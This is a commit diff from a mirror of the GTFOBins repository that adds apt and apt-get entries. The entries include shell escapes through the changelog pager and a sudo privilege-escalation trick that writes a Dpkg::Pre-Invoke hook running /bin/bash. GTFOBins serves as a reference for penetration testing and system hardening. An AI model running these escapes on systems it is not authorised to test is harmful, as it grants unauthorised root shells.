mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Add apt(-get) entries
This commit is contained in:
parent
2d3071ef55
commit
736f3482d3
@ -1,12 +1,17 @@
|
|||||||
---
|
---
|
||||||
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
|
||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- code: |
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
code: |
|
||||||
apt-get changelog apt
|
apt-get changelog apt
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
code: |
|
||||||
sudo apt-get changelog apt
|
sudo apt-get changelog apt
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
|
- description: 'Sometimes, only some subcommands of `apt-get` are enabled by sysadmin in the sudoers file. When only `apt-get install *` is allowed, you can use:'
|
||||||
|
code: |
|
||||||
|
echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
|
||||||
|
sudo apt-get install -c ./test.conf sl
|
||||||
---
|
---
|
||||||
|
@ -1,12 +1,17 @@
|
|||||||
---
|
---
|
||||||
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
|
||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- code: |
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
code: |
|
||||||
apt-get changelog apt
|
apt-get changelog apt
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
code: |
|
||||||
sudo apt-get changelog apt
|
sudo apt-get changelog apt
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
|
- description: 'Sometimes, only some subcommands of `apt` are enabled by sysadmin in the sudoers file. When only `apt install *` is allowed, you can use:'
|
||||||
|
code: |
|
||||||
|
echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
|
||||||
|
sudo apt install -c ./test.conf sl
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user